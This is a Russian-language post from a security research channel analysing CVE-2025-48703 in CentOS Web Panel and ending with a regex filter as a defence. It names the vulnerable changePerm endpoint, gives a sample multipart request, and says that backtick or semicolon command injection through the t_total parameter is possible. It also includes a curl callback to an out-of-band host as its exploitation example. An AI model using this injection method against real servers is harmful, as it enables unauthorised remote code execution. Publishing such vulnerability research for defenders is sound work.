TGViewer
Четыре луча Четыре луча @four_rays · 4.02K subscribers
Post #101 3.17K
Исследование уязвимости в CentOS Web Panel CVE-2025-48703

В сети появился эксплойт на уязвимость CVE-2025-48703, который позволяет выполнять удаленный код (RCE) от имени пользователя в обход авторизации.

Метрики на сегодняшний момент в NIST не опубликованы.


Детали уязвимости
На конечной точке /fileManager_v2.php существует возможность редактирования прав файлов на чтение и запись. При изменении прав клиент отправляет POST запрос на <USER>/loader_ajax.php?ajax=filemanager&acc=changePerm с телом

-----------------------------3849265187757317862020143986
Content-Disposition: form-data; name="fileName"

.autorelabel
-----------------------------3849265187757317862020143986
Content-Disposition: form-data; name="currentPath"

/
-----------------------------3849265187757317862020143986
Content-Disposition: form-data; name="recursive"


-----------------------------3849265187757317862020143986
Content-Disposition: form-data; name="t_total"

600
-----------------------------3849265187757317862020143986—

В данном случае меняются права у файла .autorelabel в директории / на 600 т.е (-rw-------).

В эксплойте говорится, что злоумышленнику необходимо угадать имя пользователя <USER> и отправить POST-запрос без заголовка cookie. Эта ошибка приведет к обходу авторизации.
Вторая ошибка — это уязвимость параметра t_total, которая позволяет передать код для выполнения на сервере (RCE), например формате ` code ` или ; code .

Исследование
Был настроен стенд с версией CWP 0.9.8.1199, который подтвердил, что параметр t_total действительно уязвим к передаче команд. В нашем исследовании использовалась более новая версия панели пользователя, которая позволила добиться эксплуатации от пользователя admin с предварительной авторизацией. Исследователи, обнаружившие данную уязвимость, скорее всего, использовали более старую версию, что позволило им провести эксплуатацию от имени пользователя без предварительной авторизации.

Панель пользователя не версионируется во время процесса установки, т.е отрицать возможной эксплуатации мы не можем. Но можем точно сказать, что эксплуатация происходит идентично, за исключением того, что пользователь admin меняется на другого пользователя.


Пример эксплуатации
В приведенном примере уязвимый сервер, выполнив команду `curl https://jvphXXXXtoczq52p92qoh.oast.fun?a=rce`, обратился к серверу атакующего. Уязвимой конечной точкой в данном примере является /admin/loader_ajax.php?ajax=filemanager&acc=changePerm.

Как защищаться
Так как логикой приложения, в контексте уязвимой точки <USER>/loader_ajax.php?ajax=filemanager&acc=changePerm, задумано, что этот параметр должно передавать число в формате XXX, то любое отклонение от этой логики будет являться не легитимным а значит, мы можем проверять значение этого параметра через регулярное выражение, например: ^(?!100$|[1-9][0-9]{2}$).* .
  • 🔥 11
  • ❤ 8
  • 👍 7
  • 😁 3
  • 🍓 3
  • 👾 1
More from @four_rays
  1. Sep 14, 2026💣 Ржавый код: почему все переходят на Rust и когда аналитику можно его не реверсить Rust…
  2. Sep 11, 2026😳 DFIR diggin’ deeper: неочевидные источники артефактов при расследовании атак Когда стан…
  3. Sep 7, 2026😀 Call for Papers на технострим SOC Forum 2026 еще открыт! Темы: 1️⃣ Offense: актуальные…
  4. Aug 31, 2026☀️ Zimbra, все еще скрывающая боль Ранее мы уже рассказывали о расследовании «Zimbra, скры…
  5. Aug 19, 2026💡 Разберемся с непопулярными артефактами на OffZone 2026 Выбираете, какие выступления пос…
  6. Aug 17, 2026😀 Admin may cry CVE-2026-41452 — уязвимость, позволяющая перезаписать данные администрато…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →